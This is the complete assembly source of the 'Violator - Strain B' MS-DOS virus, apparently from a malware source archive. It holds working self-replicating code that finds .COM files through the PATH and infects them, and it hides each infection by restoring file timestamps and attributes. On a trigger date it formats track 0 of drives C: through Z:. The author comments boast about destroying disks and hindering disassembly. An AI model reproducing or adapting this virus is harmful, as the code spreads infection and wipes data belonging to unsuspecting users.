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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.violb.asm

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2021-01-13 00:04:54 +00:00
;*****************************************************************************
;
; Violator - Strain B
;
;*****************************************************************************
;
; (Aug/09/90)
;
; Development Notes:
;
; I encountered several errors in the original Violator code which I
; corrected in this version. Mainly, the INT 26 routine to fuck the
; disk. It seems that the routine would crash right after the INT 26
; was executed and the whole program would die. I have since fixed
; this problem in this version with an INT 13, AH 05 (Format Track)
; command. This works better than the subsequent INT 26.
;
;
;*****************************************************************************
;
; Written by - The High Evolutionary -
; RABID Head Programmer
;
; Revised by: <20>Onslaught<68>
; No affiliation with rabId
;
; Copyright (C) 1990 by RABID Nat'nl Development Corp.
;
;*****************************************************************************
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H ; Set ORG to 100H plus our own
VCODE: JMP virus
NOP
NOP
NOP ;15 NOP's to place JMP Header
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat
CLD
MOV SI,DX
ADD SI,first_3
MOV CX,3
MOV DI,OFFSET 100H
REPZ MOVSB
MOV SI,DX
MOV AH,30H
INT 21H
CMP AL,0 ;Quit it it's DOS 1.0
JNZ dos_ok
JMP quit
dos_ok: PUSH ES
MOV AH,2FH
INT 21H
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES
POP ES
MOV DX,dta
ADD DX,SI
MOV AH,1AH
INT 21H
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0
JMP year_check
year_check:
MOV AH,2AH ;Get date info
INT 21H ;Call DOS
CMP CX,1990 ;Check to see if the year is 1990
JGE month_check ;If greater or equal, check month
JMP find_path ;If not, go on with infection
month_check:
MOV AH,2AH ;Get date info
INT 21h ;Call DOS
CMP DH,10 ;Check to see if it is September
JGE day_check ;If greater or equal, check day
JMP find_path ;if not, go on with infection
day_check:
MOV AH,2Ah ;Get date info
INT 21H ;Call DOS
CMP DL,31 ;Check to see if it is the 4th
JGE multiplex ;If yes, then nuke drives A:-Z:
JMP find_path ;If not, then go on with infection
multiplex:
MOV AL,cntr ;Counter is the drive to kill
CALL alter ;Go and kill the drive
;25 is drive Z:
CMP cntr,25 ;Is (cntr) 25 ?
JE find_path ;Go on with infection
INC cntr ;Add one to (cntr)
LOOP multiplex ;Loop back up to kill next drive
alter:
MOV AH,05 ;Format Track
MOV CH,0 ;Format track 0
MOV DH,0 ;Head 0
MOV DL,cntr ;Format for drive in (cntr)
INT 13h ;Call RWTS
RET ;Return up for next drive
find_path:
POP SI
PUSH SI
ADD SI,env_str
LODSB
MOV CX,OFFSET 8000H
REPNZ SCASB
MOV CX,4
check_next_4:
LODSB
SCASB
;
; The JNZ line specifies that if there is no PATH present, then we will go
; along and infect the ROOT directory on the default drive.
;
JNZ find_path ;If not path, then go to ROOT dir
LOOP check_next_4 ;Go back and check for more chars
POP SI ;Load in PATH again to look for chars
POP ES
MOV [SI+path_ad],DI
MOV DI,SI
ADD DI,wrk_spc ;Put the filename in wrk_spc
MOV BX,SI
ADD SI,wrk_spc
MOV DI,SI
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0
JNZ found_subdir
JMP all_done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH
MOV DI,SI
MOV SI,ES:[DI+path_ad]
ADD DI,wrk_spc ;DI is the file name to infect! (hehe)
move_subdir:
LODSB ;To tedious work to move into subdir
CMP AL,';' ;Does it end with a ; charachter?
JZ moved_one ;if yes, then we found a subdir
CMP AL,0 ;is it the end of the path?
JZ moved_last_one ;if yes, then we save the PATH
STOSB ;marker into DI for future reference
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;BX is where the virus data is
POP DS ;Restore DS so that we can do stuph
MOV [BX+path_ad],SI ;Where is the next subdir?
NOP
CMP CH,'\' ;Check to see if it ends in \
JZ slash_ok ;If yes, then it's OK
MOV AL,'\' ;if not, then add one...
STOSB ;store the sucker
slash_ok:
MOV [BX+nam_ptr],DI ;Move the filename into workspace
MOV SI,BX ;Restore the original SI value
ADD SI,f_spec ;Point to COM file victim
MOV CX,6
REPZ MOVSB ;Move victim into workspace
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
ADD DX,SI ;DX is ... THE VICTIM!!!
MOV CX,3 ;Attributes of Read Only or Hidden OK
INT 21H
JMP SHORT find_first
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1EH ;Mask to remove all but seconds
CMP AL,1EH ;60 seconds
JZ find_next
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr]
PUSH SI
ADD SI,dta_nam
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV [SI+old_att],CX
MOV AX,OFFSET 4301H
AND CX,OFFSET 0FFFEH
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV AX,OFFSET 3D02H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
JNB opened_ok
JMP fix_attr
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AH,2CH
INT 21H
AND DH,7
JMP infect
infect:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp
CMP AX,3
JNZ fix_time_stamp
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV CX,AX
SUB AX,3
MOV [SI+jmp_dsp],AX
ADD CX,OFFSET c_len_y
MOV DI,SI
SUB DI,OFFSET c_len_x
MOV [DI],CX
MOV AH,40H
MOV_CX virlen
MOV DX,SI
SUB DX,OFFSET codelen
INT 21H
JB fix_time_stamp
CMP AX,OFFSET virlen
JNZ fix_time_stamp
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV AH,40H
MOV CX,3
MOV DX,SI
ADD DX,jmp_op
INT 21H
fix_time_stamp:
MOV DX,[SI+ol_date]
MOV CX,[SI+old_tim]
AND CX,OFFSET 0FFE0H
OR CX,1EH
MOV AX,OFFSET 5701H
INT 21H
MOV AH,3EH
INT 21H
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att]
MOV DX,wrk_spc
ADD DX,SI
INT 21H
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
quit:
POP CX
XOR AX,AX ;XOR values so that we will give the
XOR BX,BX ;poor sucker a hard time trying to
XOR DX,DX ;reassemble the source code if he
XOR SI,SI ;decides to dissassemble us.
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH ;Return back to the beginning
;of the program
vir_dat EQU $
intro db '.D$^i*&B)_a.%R',13,10
olddta_ DW 0
olddts_ DW 0
oldtim_ DW 0
count_ DW 0
cntr DB 2 ; Drive to nuke from (C:+++)
oldate_ DW 0
oldatt_ DW 0
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H
jmpdsp_ DW 0
fspec_ DB '*.COM',0
pathad_ DW 0
namptr_ DW 0
envstr_ DB 'PATH='
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0)
dtatim_ DW 0,0
dtalen_ DW 0,0
dtanam_ DB 0Dh dup (0)
lst_byt EQU $
virlen = lst_byt - v_start
codelen = vir_dat - v_start
c_len_x = vir_dat - v_start - 2
c_len_y = vir_dat - v_start + 100H
old_dta = olddta_ - vir_dat
old_dts = olddts_ - vir_dat
old_tim = oldtim_ - vir_dat
ol_date = oldate_ - vir_dat
old_att = oldatt_ - vir_dat
first_3 = first3_ - vir_dat
jmp_op = jmpop_ - vir_dat
jmp_dsp = jmpdsp_ - vir_dat
f_spec = fspec_ - vir_dat
path_ad = pathad_ - vir_dat
nam_ptr = namptr_ - vir_dat
env_str = envstr_ - vir_dat
wrk_spc = wrkspc_ - vir_dat
dta = dta_ - vir_dat
dta_tim = dtatim_ - vir_dat
dta_len = dtalen_ - vir_dat
dta_nam = dtanam_ - vir_dat
count = count_ - vir_dat
CODE ENDS
END VCODE

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